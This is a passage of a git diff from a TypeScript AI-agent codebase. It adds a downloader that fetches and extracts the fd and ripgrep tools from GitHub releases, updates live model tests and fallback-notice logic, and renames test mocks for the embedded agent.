"User-Agent": `${APP_NAME}-coding-agent` }, + }, + }); + const { response } = guarded; + + try { + if (!response.ok) { + throw new Error(`GitHub API error: ${response.status}`); + } + + const data = (await response.json()) as { tag_name: string }; + return data.tag_name.replace(/^v/, ""); + } finally { + await guarded.release(); + } +} + +// Download a file from URL +async function downloadFile(url: string, dest: string): Promise { + const guarded = await fetchWithSsrFGuard({ + url, + timeoutMs: DOWNLOAD_TIMEOUT_MS, + auditContext: "tools-manager-download", + }); + const { response } = guarded; + + try { + if (!response.ok) { + throw new Error(`Failed to download: ${response.status}`); + } + + if (!response.body) { + throw new Error("No response body"); + } + + const fileStream = createWriteStream(dest); + await pipeline(Readable.fromWeb(response.body as NodeReadableStream), fileStream); + } finally { + await guarded.release(); + } +} + +function findBinaryRecursively(rootDir: string, binaryFileName: string): string | null { + const stack: string[] = [rootDir]; + + while (stack.length > 0) { + const currentDir = stack.pop(); + if (!currentDir) { + continue; + } + + const entries = readdirSync(currentDir, { withFileTypes: true }); + for (const entry of entries) { + const fullPath = join(currentDir, entry.name); + if (entry.isFile() && entry.name === binaryFileName) { + return fullPath; + } + if (entry.isDirectory()) { + stack.push(fullPath); + } + } + } + + return null; +} + +function formatSpawnFailure(result: SpawnSyncReturns): string { + if (result.error?.message) { + return result.error.message; + } + const stderr = result.stderr?.toString().trim(); + if (stderr) { + return stderr; + } + const stdout = result.stdout?.toString().trim(); + if (stdout) { + return stdout; + } + return `exit status ${result.status ?? "unknown"}`; +} + +function runExtractionCommand(command: string, args: string[]): string | null { + const result = spawnSync(command, args, { stdio: "pipe" }); + if (!result.error && result.status === 0) { + return null; + } + return `${command}: ${formatSpawnFailure(result)}`; +} + +function extractTarGzArchive(archivePath: string, extractDir: string, assetName: string): void { + const failure = runExtractionCommand("tar", ["xzf", archivePath, "-C", extractDir]); + if (failure) { + throw new Error(`Failed to extract ${assetName}: ${failure}`); + } +} + +function getWindowsTarCommand(): string { + const systemRoot = process.env.SystemRoot ?? process.env.WINDIR; + if (systemRoot) { + const systemTar = join(systemRoot, "System32", "tar.exe"); + if (existsSync(systemTar)) { + return systemTar; + } + } + return "tar.exe"; +} + +function extractZipArchive(archivePath: string, extractDir: string, assetName: string): void { + const failures: string[] = []; + + if (platform() === "win32") { + // Windows ships bsdtar as tar.exe, which supports zip files. Prefer the + // System32 binary over Git Bash's GNU tar, which does not handle zip archives. + const tarFailure = runExtractionCommand(getWindowsTarCommand(), [ + "xf", + archivePath, + "-C", + extractDir, + ]); + if (!tarFailure) { + return; + } + failures.push(tarFailure); + + const script = + "& { param($archive, $destination) $ErrorActionPreference = 'Stop'; Expand-Archive -LiteralPath $archive -DestinationPath $destination -Force }"; + const powershellFailure = runExtractionCommand("powershell.exe", [ + "-NoLogo", + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-Command", + script, + archivePath, + extractDir, + ]); + if (!powershellFailure) { + return; + } + failures.push(powershellFailure); + } else { + const unzipFailure = runExtractionCommand("unzip", ["-q", archivePath, "-d", extractDir]); + if (!unzipFailure) { + return; + } + failures.push(unzipFailure); + + const tarFailure = runExtractionCommand("tar", ["xf", archivePath, "-C", extractDir]); + if (!tarFailure) { + return; + } + failures.push(tarFailure); + } + + throw new Error(`Failed to extract ${assetName}: ${failures.join("; ")}`); +} + +// Download and install a tool +async function downloadTool(tool: "fd" | "rg"): Promise { + const config = TOOLS[tool]; + if (!config) { + throw new Error(`Unknown tool: ${tool}`); + } + + const plat = platform(); + const architecture = arch(); + + // Get latest version + let version = await getLatestVersion(config.repo); + if (tool === "fd" && plat === "darwin" && architecture === "x64") { + version = "10.3.0"; + } + + // Get asset name for this platform + const assetName = config.getAssetName(version, plat, architecture); + if (!assetName) { + throw new Error(`Unsupported platform: ${plat}/${architecture}`); + } + + // Create tools directory + mkdirSync(TOOLS_DIR, { recursive: true }); + + const downloadUrl = `https://github.com/${config.repo}/releases/download/${config.tagPrefix}${version}/${assetName}`; + const archivePath = join(TOOLS_DIR, assetName); + const binaryExt = plat === "win32" ? ".exe" : ""; + const binaryPath = join(TOOLS_DIR, config.binaryName + binaryExt); + + // Download + await downloadFile(downloadUrl, archivePath); + + // Extract into a unique temp directory. fd and rg downloads can run concurrently + // during startup, so sharing a fixed directory causes races. + const extractDir = join( + TOOLS_DIR, + `extract_tmp_${config.binaryName}_${process.pid}_${Date.now()}_${Math.random().toString(36).slice(2, 10)}`, + ); + mkdirSync(extractDir, { recursive: true }); + + try { + if (assetName.endsWith(".tar.gz")) { + extractTarGzArchive(archivePath, extractDir, assetName); + } else if (assetName.endsWith(".zip")) { + extractZipArchive(archivePath, extractDir, assetName); + } else { + throw new Error(`Unsupported archive format: ${assetName}`); + } + + // Find the binary in extracted files. Some archives contain files directly + // at root, others nest under a versioned subdirectory. + const binaryFileName = config.binaryName + binaryExt; + const extractedDir = join(extractDir, assetName.replace(/\.(tar\.gz|zip)$/, "")); + const extractedBinaryCandidates = [ + join(extractedDir, binaryFileName), + join(extractDir, binaryFileName), + ]; + let extractedBinary = extractedBinaryCandidates.find((candidate) => existsSync(candidate)); + + if (!extractedBinary) { + extractedBinary = findBinaryRecursively(extractDir, binaryFileName) ?? undefined; + } + + if (extractedBinary) { + renameSync(extractedBinary, binaryPath); + } else { + throw new Error( + `Binary not found in archive: expected ${binaryFileName} under ${extractDir}`, + ); + } + + // Make executable (Unix only) + if (plat !== "win32") { + chmodSync(binaryPath, 0o755); + } + } finally { + // Cleanup + rmSync(archivePath, { force: true }); + rmSync(extractDir, { recursive: true, force: true }); + } + + return binaryPath; +} + +// Termux package names for tools +const TERMUX_PACKAGES: Record = { + fd: "fd", + rg: "ripgrep", +}; + +// Ensure a tool is available, downloading if necessary +// Returns the path to the tool, or null if unavailable +export async function ensureTool( + tool: "fd" | "rg", + silent: boolean = false, +): Promise { + const existingPath = getToolPath(tool); + if (existingPath) { + return existingPath; + } + + const config = TOOLS[tool]; + if (!config) { + return undefined; + } + + if (isOfflineModeEnabled()) { + if (!silent) { + console.log( + chalk.yellow(`${config.name} not found. Offline mode enabled, skipping download.`), + ); + } + return undefined; + } + + // On Android/Termux, Linux binaries don't work due to Bionic libc incompatibility. + // Users must install via pkg. + if (platform() === "android") { + const pkgName = TERMUX_PACKAGES[tool] ?? tool; + if (!silent) { + console.log(chalk.yellow(`${config.name} not found. Install with: pkg install ${pkgName}`)); + } + return undefined; + } + + // Tool not found - download it + if (!silent) { + console.log(chalk.dim(`${config.name} not found. Downloading...`)); + } + + try { + const path = await downloadTool(tool); + if (!silent) { + console.log(chalk.dim(`${config.name} installed to ${path}`)); + } + return path; + } catch (e) { + if (!silent) { + console.log( + chalk.yellow( + `Failed to download ${config.name}: ${e instanceof Error ? e.message : String(e)}`, + ), + ); + } + return undefined; + } +} diff --git a/src/agents/xai.live.test.ts b/src/agents/xai.live.test.ts index de8a3c84554..02b15a326ac 100644 --- a/src/agents/xai.live.test.ts +++ b/src/agents/xai.live.test.ts @@ -1,16 +1,16 @@ -import { completeSimple, getModel, streamSimple } from "@earendil-works/pi-ai"; +import { completeSimple, type Model, streamSimple } from "openclaw/plugin-sdk/llm"; import { Type } from "typebox"; import { describe, expect, it } from "vitest"; +import { + isBillingErrorMessage, + isOverloadedErrorMessage, +} from "./embedded-agent-helpers/failover-matches.js"; +import { applyExtraParamsToAgent } from "./embedded-agent-runner.js"; import { createSingleUserPromptMessage, extractNonEmptyAssistantText, isLiveTestEnabled, } from "./live-test-helpers.js"; -import { - isBillingErrorMessage, - isOverloadedErrorMessage, -} from "./pi-embedded-helpers/failover-matches.js"; -import { applyExtraParamsToAgent } from "./pi-embedded-runner.js"; import { createWebSearchTool } from "./tools/web-search.js"; const XAI_KEY = process.env.XAI_API_KEY ?? ""; @@ -43,7 +43,18 @@ function getToolFunction(tool: Record): Record } function resolveLiveXaiModel() { - return getModel("xai", "grok-4.3") ?? getModel("xai", "grok-4.20-0309-reasoning"); + return { + id: "grok-4.3", + name: "Grok 4.3", + api: "openai-responses", + provider: "xai", + baseUrl: "https://api.x.ai/v1", + reasoning: true, + input: ["text", "image"], + cost: { input: 1.25, output: 2.5, cacheRead: 0.2, cacheWrite: 0 }, + contextWindow: 1_000_000, + maxTokens: 64_000, + } satisfies Model<"openai-responses">; } function requireLiveValue(value: T | null | undefined, label: string): T { diff --git a/src/agents/zai.live.test.ts b/src/agents/zai.live.test.ts index 32dbe3ef11f..14aaef52497 100644 --- a/src/agents/zai.live.test.ts +++ b/src/agents/zai.live.test.ts @@ -1,4 +1,4 @@ -import { completeSimple, getModel } from "@earendil-works/pi-ai"; +import { completeSimple, type Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createSingleUserPromptMessage, @@ -13,7 +13,18 @@ const ZAI_LIVE_TIMEOUT_MS = 45_000; const describeLive = LIVE && ZAI_KEY ? describe : describe.skip; async function expectModelReturnsAssistantText(modelId: "glm-5-turbo" | "glm-5.1") { - const model = getModel("zai", modelId); + const model: Model<"openai-completions"> = { + id: modelId, + name: modelId, + api: "openai-completions", + provider: "zai", + baseUrl: "https://api.z.ai/api/paas/v4", + reasoning: true, + input: ["text"], + cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, + contextWindow: 202_800, + maxTokens: 131_100, + }; const res = await completeSimple( model, { diff --git a/src/auto-reply/fallback-state.test.ts b/src/auto-reply/fallback-state.test.ts index ea88e3cc266..da05affc092 100644 --- a/src/auto-reply/fallback-state.test.ts +++ b/src/auto-reply/fallback-state.test.ts @@ -1,4 +1,5 @@ -import { describe, expect, it } from "vitest"; +import { afterEach, describe, expect, it } from "vitest"; +import { testing as cliBackendsTesting } from "../agents/cli-backends.js"; import { buildFallbackNotice, resolveActiveFallbackState, @@ -19,6 +20,20 @@ const activeFallbackState: FallbackNoticeState = { fallbackNoticeReason: "rate limit", }; +function registerAnthropicCliBackendForTest(): void { + cliBackendsTesting.setDepsForTest({ + resolveRuntimeCliBackends: () => [ + { + id: "claude-cli", + modelProvider: "anthropic", + pluginId: "anthropic", + config: { command: "claude" }, + bundleMcp: false, + }, + ], + }); +} + function resolveDemoFallbackTransition( overrides: Partial[0]> = {}, ) { @@ -34,6 +49,10 @@ function resolveDemoFallbackTransition( } describe("fallback-state", () => { + afterEach(() => { + cliBackendsTesting.resetDepsForTest(); + }); + it.each([ { name: "treats fallback as active only when state matches selected and active refs", @@ -123,6 +142,8 @@ describe("fallback-state", () => { }); it("does not treat a CLI runtime alias as a model fallback", () => { + registerAnthropicCliBackendForTest(); + const resolved = resolveFallbackTransition({ selectedProvider: "anthropic", selectedModel: "claude-opus-4-7", @@ -144,6 +165,8 @@ describe("fallback-state", () => { }); it("does not build a fallback notice for equivalent CLI runtime aliases", () => { + registerAnthropicCliBackendForTest(); + expect( buildFallbackNotice({ selectedProvider: "anthropic", diff --git a/src/auto-reply/fallback-state.ts b/src/auto-reply/fallback-state.ts index aa39c68fcf3..19924bedcc1 100644 --- a/src/auto-reply/fallback-state.ts +++ b/src/auto-reply/fallback-state.ts @@ -1,5 +1,6 @@ +import { formatRawAssistantErrorForUi } from "../agents/embedded-agent-helpers.js"; import { areRuntimeModelRefsEquivalent } from "../agents/model-runtime-aliases.js"; -import { formatRawAssistantErrorForUi } from "../agents/pi-embedded-helpers.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import type { FallbackNoticeState } from "../status/fallback-notice-state.js"; import { formatProviderModelRef } from "./model-runtime.js"; @@ -94,10 +95,11 @@ export function buildFallbackNotice(params: { activeProvider: string; activeModel: string; attempts: RuntimeFallbackAttempt[]; + cfg?: OpenClawConfig; }): string | null { const selected = formatProviderModelRef(params.selectedProvider, params.selectedModel); const active = formatProviderModelRef(params.activeProvider, params.activeModel); - if (areRuntimeModelRefsEquivalent(selected, active)) { + if (areRuntimeModelRefsEquivalent(selected, active, { config: params.cfg })) { return null; } const reasonSummary = buildFallbackReasonSummary(params.attempts); @@ -145,6 +147,7 @@ export function resolveFallbackTransition(params: { activeModel: string; attempts: RuntimeFallbackAttempt[]; state?: FallbackNoticeState; + cfg?: OpenClawConfig; }): ResolvedFallbackTransition { const selectedModelRef = formatProviderModelRef(params.selectedProvider, params.selectedModel); const activeModelRef = formatProviderModelRef(params.activeProvider, params.activeModel); @@ -153,7 +156,12 @@ export function resolveFallbackTransition(params: { activeModel: normalizeOptionalString(params.state?.fallbackNoticeActiveModel), reason: normalizeOptionalString(params.state?.fallbackNoticeReason), }; - const fallbackActive = !areRuntimeModelRefsEquivalent(selectedModelRef, activeModelRef); + const comparisonOptions = { config: params.cfg }; + const fallbackActive = !areRuntimeModelRefsEquivalent( + selectedModelRef, + activeModelRef, + comparisonOptions, + ); const fallbackTransitioned = fallbackActive && (previousState.selectedModel !== selectedModelRef || @@ -161,7 +169,11 @@ export function resolveFallbackTransition(params: { const previousStateWasRealFallback = Boolean( previousState.selectedModel && previousState.activeModel && - !areRuntimeModelRefsEquivalent(previousState.selectedModel, previousState.activeModel), + !areRuntimeModelRefsEquivalent( + previousState.selectedModel, + previousState.activeModel, + comparisonOptions, + ), ); const fallbackCleared = !fallbackActive && previousStateWasRealFallback; const reasonSummary = buildFallbackReasonSummary(params.attempts); diff --git a/src/auto-reply/get-reply-options.types.ts b/src/auto-reply/get-reply-options.types.ts index 6613bae4503..56d0af5f56b 100644 --- a/src/auto-reply/get-reply-options.types.ts +++ b/src/auto-reply/get-reply-options.types.ts @@ -1,4 +1,4 @@ -import type { ImageContent } from "@earendil-works/pi-ai"; +import type { ImageContent } from "../llm/types.js"; import type { PromptImageOrderEntry } from "../media/prompt-image-order.js"; import type { UserTurnTranscriptRecorder } from "../sessions/user-turn-transcript.js"; import type { ReplyPayload } from "./reply-payload.js"; diff --git a/src/auto-reply/handoff-summarizer.ts b/src/auto-reply/handoff-summarizer.ts index 6e085703f56..f4e511eacd8 100644 --- a/src/auto-reply/handoff-summarizer.ts +++ b/src/auto-reply/handoff-summarizer.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; export interface HandoffSnapshot { summary: string; diff --git a/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts b/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts index 13991573faf..d54e634d549 100644 --- a/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts +++ b/src/auto-reply/reply.directive.directive-behavior.e2e-harness.ts @@ -10,12 +10,12 @@ import type { ProviderPlugin } from "../plugins/types.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; import { clearSessionAuthProfileOverrideMock, - compactEmbeddedPiSessionMock, + compactEmbeddedAgentSessionMock, loadModelCatalogMock, resolveCommandSecretRefsViaGatewayMock, resolveSessionAuthProfileOverrideMock, runDirectiveBehaviorReplyAgent, - runEmbeddedPiAgentMock, + runEmbeddedAgentMock, runDirectiveBehaviorPreparedReply, runPreparedReplyMock, runReplyAgentMock, @@ -97,9 +97,9 @@ export function installDirectiveBehaviorE2EHooks() { resetSystemEventsForTest(); resetPluginRuntimeStateForTest(); setActivePluginRegistry(createDirectiveBehaviorProviderRegistry()); - compactEmbeddedPiSessionMock.mockReset(); - compactEmbeddedPiSessionMock.mockResolvedValue({ payloads: [], meta: {} }); - runEmbeddedPiAgentMock.mockReset(); + compactEmbeddedAgentSessionMock.mockReset(); + compactEmbeddedAgentSessionMock.mockResolvedValue({ payloads: [], meta: {} }); + runEmbeddedAgentMock.mockReset(); loadModelCatalogMock.mockReset(); loadModelCatalogMock.mockResolvedValue(DEFAULT_TEST_MODEL_CATALOG); resolveCommandSecretRefsViaGatewayMock.mockReset(); diff --git a/src/auto-reply/reply.directive.directive-behavior.e2e-mocks.ts b/src/auto-reply/reply.directive.directive-behavior.e2e-mocks.ts index 4146a466bd4..10d8ccb2ffb 100644 --- a/src/auto-reply/reply.directive.directive-behavior.e2e-mocks.ts +++ b/src/auto-reply/reply.directive.directive-behavior.e2e-mocks.ts @@ -1,7 +1,7 @@ import { vi, type Mock } from "vitest"; -export const runEmbeddedPiAgentMock: Mock = vi.fn(); -export const compactEmbeddedPiSessionMock: Mock = vi.fn(); +export const runEmbeddedAgentMock: Mock = vi.fn(); +export const compactEmbeddedAgentSessionMock: Mock = vi.fn(); export const loadModelCatalogMock: Mock = vi.fn(); export const resolveCommandSecretRefsViaGatewayMock: Mock = vi.fn(); export const clearSessionAuthProfileOverrideMock: Mock = vi.fn(); @@ -38,7 +38,7 @@ function normalizeReplyAgentPayload(payload: Record, params: un } async function runMockedReplyAgent(runParams: unknown, params: unknown) { - const result = await runEmbeddedPiAgentMock(runParams); + const result = await runEmbeddedAgentMock(runParams); const payloadsRaw = objectRecord(result)?.payloads; const payloads = Array.isArray(payloadsRaw) ? payloadsRaw.flatMap((payload) => { @@ -80,26 +80,26 @@ export async function runDirectiveBehaviorPreparedReply(params: unknown) { export const runPreparedReplyMock: Mock = vi.fn(runDirectiveBehaviorPreparedReply); -vi.mock("../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - compactEmbeddedPiSession: (...args: unknown[]) => compactEmbeddedPiSessionMock(...args), - runEmbeddedPiAgent: (...args: unknown[]) => runEmbeddedPiAgentMock(...args), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), +vi.mock("../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + compactEmbeddedAgentSession: (...args: unknown[]) => compactEmbeddedAgentSessionMock(...args), + runEmbeddedAgent: (...args: unknown[]) => runEmbeddedAgentMock(...args), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), })); -vi.mock("../agents/pi-embedded.runtime.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - compactEmbeddedPiSession: (...args: unknown[]) => compactEmbeddedPiSessionMock(...args), - runEmbeddedPiAgent: (...args: unknown[]) => runEmbeddedPiAgentMock(...args), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), +vi.mock("../agents/embedded-agent.runtime.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + compactEmbeddedAgentSession: (...args: unknown[]) => compactEmbeddedAgentSessionMock(...args), + runEmbeddedAgent: (...args: unknown[]) => runEmbeddedAgentMock(...args), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), resolveActiveEmbeddedRunSessionId: vi.fn().mockReturnValue(undefined), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), - waitForEmbeddedPiRunEnd: vi.fn().mockResolvedValue(true), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), + waitForEmbeddedAgentRunEnd: vi.fn().mockResolvedValue(true), })); vi.mock("../agents/model-catalog.js", () => ({ diff --git a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts index c81fdc78efd..e6d148d4ce5 100644 --- a/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts +++ b/src/auto-reply/reply.directive.directive-behavior.shows-current-verbose-level-verbose-has-no.test.ts @@ -4,7 +4,7 @@ import type { ModelAliasIndex } from "../agents/model-selection.js"; import type { OpenClawConfig } from "../config/config.js"; import type { SessionEntry } from "../config/sessions.js"; import { installDirectiveBehaviorE2EHooks } from "./reply.directive.directive-behavior.e2e-harness.js"; -import { runEmbeddedPiAgentMock } from "./reply.directive.directive-behavior.e2e-mocks.js"; +import { runEmbeddedAgentMock } from "./reply.directive.directive-behavior.e2e-mocks.js"; import { handleDirectiveOnly } from "./reply/directive-handling.impl.js"; import type { HandleDirectiveOnlyParams } from "./reply/directive-handling.params.js"; import { parseInlineDirectives } from "./reply/directive-handling.parse.js"; @@ -133,7 +133,7 @@ describe("directive behavior", () => { expect(execText).toContain( "Options: host=auto|sandbox|gateway|node, security=deny|allowlist|full, ask=off|on-miss|always, node=.", ); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("treats /fast status like the no-argument status query", async () => { const { text: statusText } = await runDirectiveStatus("/fast status", { @@ -155,7 +155,7 @@ describe("directive behavior", () => { expect(statusText).toContain("Current fast mode: on (config)"); expect(statusText).toContain("Options: status, on, off, default."); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("enforces per-agent elevated restrictions and status visibility", async () => { const { text: deniedText } = await runDirectiveStatus("/elevated on", { @@ -171,7 +171,7 @@ describe("directive behavior", () => { }); expect(deniedText).toContain("agents.list[].tools.elevated.enabled"); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("applies per-agent allowlist requirements before allowing elevated", async () => { const { text: deniedText } = await runDirectiveStatus("/elevated on", { @@ -193,7 +193,7 @@ describe("directive behavior", () => { elevatedAllowed: true, }); expect(allowedText).toContain("Elevated mode set to ask"); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("handles runtime warning, invalid level, and multi-directive elevated inputs", async () => { for (const scenario of [ @@ -221,7 +221,7 @@ describe("directive behavior", () => { expect(text).toContain(snippet); } } - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("persists queue overrides and reset behavior", async () => { const interrupt = await runDirectiveStatus("/queue interrupt"); @@ -256,7 +256,7 @@ describe("directive behavior", () => { expect(reset.sessionEntry.queueDebounceMs).toBeUndefined(); expect(reset.sessionEntry.queueCap).toBeUndefined(); expect(reset.sessionEntry.queueDrop).toBeUndefined(); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("shows current trace level and persists trace directives", async () => { @@ -281,7 +281,7 @@ describe("directive behavior", () => { expect(raw.text).toContain("Trace set to raw."); expect(raw.text).toContain("may contain sensitive information"); expect(raw.sessionEntry.traceLevel).toBe("raw"); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); it("blocks /trace for non-owners without delegated gateway scope", async () => { diff --git a/src/auto-reply/reply.test-harness.ts b/src/auto-reply/reply.test-harness.ts index 149cb3173b6..28690ea2542 100644 --- a/src/auto-reply/reply.test-harness.ts +++ b/src/auto-reply/reply.test-harness.ts @@ -5,7 +5,7 @@ import { afterAll, beforeAll, vi, type Mock } from "vitest"; import { withFastReplyConfig } from "./reply/get-reply-fast-path.js"; type ReplyRuntimeMocks = { - runEmbeddedPiAgent: Mock; + runEmbeddedAgent: Mock; loadModelCatalog: Mock; webAuthExists: Mock; getWebAuthAgeMs: Mock; @@ -14,7 +14,7 @@ type ReplyRuntimeMocks = { const replyRuntimeMockState = vi.hoisted(() => ({ mocks: { - runEmbeddedPiAgent: vi.fn(), + runEmbeddedAgent: vi.fn(), loadModelCatalog: vi.fn(), webAuthExists: vi.fn().mockResolvedValue(true), getWebAuthAgeMs: vi.fn().mockReturnValue(120_000), @@ -22,14 +22,13 @@ const replyRuntimeMockState = vi.hoisted(() => ({ } as ReplyRuntimeMocks, })); -vi.mock("../agents/pi-embedded.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - runEmbeddedPiAgent: (...args: unknown[]) => - replyRuntimeMockState.mocks.runEmbeddedPiAgent(...args), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), +vi.mock("../agents/embedded-agent.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + runEmbeddedAgent: (...args: unknown[]) => replyRuntimeMockState.mocks.runEmbeddedAgent(...args), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), })); vi.mock("../agents/model-catalog.runtime.js", () => ({ @@ -55,13 +54,13 @@ vi.mock("../plugins/runtime/runtime-web-channel-plugin.js", () => ({ readWebSelfId: (...args: unknown[]) => replyRuntimeMockState.mocks.readWebSelfId(...args), })); -vi.mock("../agents/pi-embedded.runtime.js", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), +vi.mock("../agents/embedded-agent.runtime.js", () => ({ + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), resolveActiveEmbeddedRunSessionId: vi.fn().mockReturnValue(undefined), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, - waitForEmbeddedPiRunEnd: vi.fn(async () => undefined), + waitForEmbeddedAgentRunEnd: vi.fn(async () => undefined), })); vi.mock("./reply/agent-runner.runtime.js", () => ({ @@ -93,7 +92,7 @@ vi.mock("./reply/agent-runner.runtime.js", () => ({ }; }; }) => { - const result = await replyRuntimeMockState.mocks.runEmbeddedPiAgent({ + const result = await replyRuntimeMockState.mocks.runEmbeddedAgent({ prompt: params.followupRun.prompt || params.commandBody, agentDir: params.followupRun.run.agentDir, agentId: params.followupRun.run.agentId, @@ -127,7 +126,6 @@ type HomeEnvSnapshot = { HOMEPATH: string | undefined; OPENCLAW_STATE_DIR: string | undefined; OPENCLAW_AGENT_DIR: string | undefined; - PI_CODING_AGENT_DIR: string | undefined; }; function snapshotHomeEnv(): HomeEnvSnapshot { @@ -138,7 +136,6 @@ function snapshotHomeEnv(): HomeEnvSnapshot { HOMEPATH: process.env.HOMEPATH, OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, OPENCLAW_AGENT_DIR: process.env.OPENCLAW_AGENT_DIR, - PI_CODING_AGENT_DIR: process.env.PI_CODING_AGENT_DIR, }; } @@ -175,7 +172,6 @@ export function createTempHomeHarness(options: { prefix: string; beforeEachCase? process.env.USERPROFILE = home; process.env.OPENCLAW_STATE_DIR = path.join(home, ".openclaw"); process.env.OPENCLAW_AGENT_DIR = path.join(home, ".openclaw", "agent"); - process.env.PI_CODING_AGENT_DIR = path.join(home, ".openclaw", "agent"); if (process.platform === "win32") { const match = home.match(/^([A-Za-z]:)(.*)$/); @@ -215,7 +211,7 @@ export function makeReplyConfig(home: string) { export function createReplyRuntimeMocks(): ReplyRuntimeMocks { return { - runEmbeddedPiAgent: vi.fn(), + runEmbeddedAgent: vi.fn(), loadModelCatalog: vi.fn(), webAuthExists: vi.fn().mockResolvedValue(true), getWebAuthAgeMs: vi.fn().mockReturnValue(120_000), @@ -228,7 +224,7 @@ export function installReplyRuntimeMocks(mocks: ReplyRuntimeMocks) { } export function resetReplyRuntimeMocks(mocks: ReplyRuntimeMocks) { - mocks.runEmbeddedPiAgent.mockClear(); + mocks.runEmbeddedAgent.mockClear(); mocks.loadModelCatalog.mockClear(); mocks.loadModelCatalog.mockResolvedValue([ { id: "claude-opus-4-6", name: "Opus 4.5", provider: "anthropic" }, diff --git a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts index 13a1087fcc9..026bdf37c60 100644 --- a/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts +++ b/src/auto-reply/reply.triggers.trigger-handling.filters-usage-summary-current-model-provider.cases.ts @@ -3,7 +3,7 @@ import { join } from "node:path"; import { describe, expect, it } from "vitest"; import { getProviderUsageMocks, - getRunEmbeddedPiAgentMock, + getRunEmbeddedAgentMock, makeCfg, requireSessionStorePath, withTempHome, @@ -56,7 +56,7 @@ export function registerTriggerHandlingUsageSummaryCases(params: { describe("usage and status command handling", () => { it("shows status without invoking the agent", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); const getReplyFromConfig = getReplyFromConfigNow(params.getReplyFromConfig); seedUsageSummary(); @@ -76,13 +76,13 @@ export function registerTriggerHandlingUsageSummaryCases(params: { const text = Array.isArray(res) ? res[0]?.text : res?.text; expect(text).toContain("Model:"); expect(text).toContain("OpenClaw"); - expect(runEmbeddedPiAgentMock).not.toHaveBeenCalled(); + expect(runEmbeddedAgentMock).not.toHaveBeenCalled(); }); }); it("cycles usage footer modes and persists the final selection", async () => { await withTempHome(async (home) => { - const runEmbeddedPiAgentMock = getRunEmbeddedPiAgentMock(); + const runEmbeddedAgentMock = getRunEmbeddedAgentMock(); const getReplyFromConfig = 